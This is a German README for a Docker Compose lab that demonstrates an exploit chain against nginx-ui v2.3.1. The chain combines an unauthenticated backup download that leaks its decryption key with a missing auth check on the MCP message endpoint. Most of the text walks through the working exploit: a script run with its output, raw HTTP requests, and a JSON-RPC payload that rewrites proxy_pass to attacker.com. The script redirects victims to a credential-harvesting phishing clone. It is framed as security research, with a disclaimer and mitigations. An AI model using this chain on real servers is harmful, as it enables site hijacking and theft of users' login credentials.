
Docker-Compose-Setup zur Demonstration der nginx-ui-Schwachstelle für fehlende Authentifizierung
Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Alle hier demonstrierten Techniken sollten nur gegen Systeme eingesetzt werden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Die Autoren übernehmen keine Verantwortung für Missbrauch. Führen Sie dies nicht gegen ein System ohne Autorisierung aus.
Ein eigenständiges Docker-Compose-Lab, das eine Zwei-CVE-Kette gegen nginx-ui v2.3.1 demonstriert, die eine vollständige nginx-Übernahme mit null Vorwissen erreicht — keine Benutzernamen, keine Passwörter, keine Tokens.
GET /api/backup erfordert keine Authentifizierung. Der Endpunkt gibt ein vollständig verschlüsseltes Backup der nginx-ui-Installation zurück — einschließlich app.ini — und sendet den AES-256-CBC-Entschlüsselungsschlüssel und IV im Klartext im Antwort-Header:
X-Backup-Security: <base64_key>:<base64_iv>
Aus dem Quellcode (api/backup/router.go):
r.GET("/backup", CreateBackup) // ❌ keine Middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
Die Entschlüsselung des Backups liefert app.ini, das das für Schritt 2 benötigte [node] Secret enthält.
| CVE | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| CVSS | 9.8 Kritisch |
| Betroffen | nginx-ui < 2.3.2 |
| Behoben in | nginx-ui 2.3.3 |
nginx-ui v2.3.x fügte eine Model Context Protocol (MCP)-Schnittstelle hinzu, die 12 nginx-Verwaltungswerkzeuge bereitstellt. Der Fehler ist ein einzelner fehlender Middleware-Aufruf in mcp/router.go:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ AuthRequired() FEHLT
Mit einer über das Node-Secret erhaltenen sessionId kann ein Angreifer ohne Benutzeranmeldeinformationen an /mcp_message POSTen und jedes privilegierte Werkzeug aufrufen — einschließlich nginx_config_modify und reload_nginx.
| CVE | CVE-2026-33032 |
| Alias | MCPwn (Pluto Security) |
| CVSS | 9.8 Kritisch |
| Betroffen | nginx-ui ≤ 2.3.3 |
| Behoben in | nginx-ui 2.3.4 |
┌──────────────────────────────────────────────────────────┐
│ Browser │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ Angreifer ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) VERWUNDBAR │
│ (keine Anmeldedaten) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp (grün) │ legitimes │
│ │ proxy_pass Standard │ Login-Formular │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ malicious_site (rot) │ Phishing-Klon │
│ │ proxy_pass nach Angriff │ erntet Zugangs-│
│ └─────────────────────────┘ daten │
└──────────────────────────────────────────────────────────┘
nginx-ui bündelt seine eigene nginx-Instanz. Wenn der Exploit reload_nginx über MCP aufruft, lädt es dieselbe nginx neu, die den Datenverkehr auf :8080 bedient — kein Host-Zugriff erforderlich.
Voraussetzungen: Docker + Docker Compose + Python 3.10+
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
| URL | |
|---|---|
http://localhost:8080 | Opferseite — grün (legitim) |
http://localhost:9000 | nginx-ui-Admin-Panel |
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
Das Skript verknüpft beide CVEs ohne vorherige Anmeldedaten:
==============================================================
CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Cred RCE
Ziel : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — Backup wird heruntergeladen (keine Auth)
[+] AES-Schlüssel+IV aus Header: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Node-Secret extrahiert: 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — Nicht authentifizierte MCP-Sitzung wird geöffnet (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a
[*] Aufklärung — aktuelle Konfiguration wird gelesen
[+] Aktuell: proxy_pass http://webapp:80;
[*] default.conf wird überschrieben via POST /mcp_message (keine Auth)
[+] Neu: proxy_pass http://malicious_site:80;
[*] nginx wird neu geladen via POST /mcp_message (keine Auth)
[+] nginx neu geladen — Konfiguration ist aktiv
[!] Angriff abgeschlossen.
Opfer unter http://localhost:8080/ erhalten nun die Phishing-Seite.
Erfasste Anmeldedaten anzeigen: http://localhost:8080/?debug=1
Nach dem Exploit wechselt http://localhost:8080 von der grünen legitimen Seite zum roten Phishing-Klon — unter derselben URL, ohne Hinweis für das Opfer.
Öffnen Sie http://localhost:8080/?debug=1, um das Angreifer-Panel anzuzeigen und in Echtzeit erfasste Anmeldedaten zu sehen.
python3 exploit/exploit.py --url http://localhost:9000 --reset
Verwendet dieselbe CVE-Kette, um die ursprüngliche Konfiguration wiederherzustellen und nginx neu zu laden.
GET /api/backup HTTP/1.1
Host: target:9000
Antwort:
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip
Entschlüsseln Sie die ZIP-Datei mit dem bereitgestellten Schlüssel/IV → app.ini extrahieren → [node] Secret lesen.
Anfrage 1 — SSE-Sitzung öffnen (Node-Secret, keine Benutzer-Auth):
GET /mcp?node_secret=<uuid>
Der SSE-Stream antwortet mit einer sessionId.
Anfrage 2+ — Werkzeuge aufrufen (überhaupt keine Auth):
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attacker.com; } }",
"sync_overwrite": false
}
}
}
Kein Authorization-Header. Kein Cookie. AuthRequired() fehlt schlichtweg in der /mcp_message-Route.
| Werkzeug | Auswirkung |
|---|---|
nginx_config_modify | Beliebige Konfigurationsdatei überschreiben |
nginx_config_add | Neue Konfigurationsdateien erstellen |
nginx_config_get | Beliebige Konfigurationsdatei lesen |
nginx_config_list | Alle Konfigurationen auflisten |
nginx_config_enable/disable | Site-Konfigurationen umschalten |
nginx_config_rename | Konfigurationsdateien verschieben/umbenennen |
nginx_config_mkdir | Verzeichnisse erstellen |
nginx_config_history | Änderungshistorie anzeigen |
nginx_config_base_path | Konfigurations-Root-Pfad offenlegen |
nginx_status | nginx-Status prüfen |
reload_nginx | Konfigurationsänderungen live anwenden |
restart_nginx | Vollständiger nginx-Neustart |
[node] IPWhiteList in app.ini setzen, um den MCP-Zugriff auf bestimmte IPs zu beschränken/etc/nginx/conf.d/ mit Dateiintegritätsüberwachung überwachen (auditd, Wazuh usw.)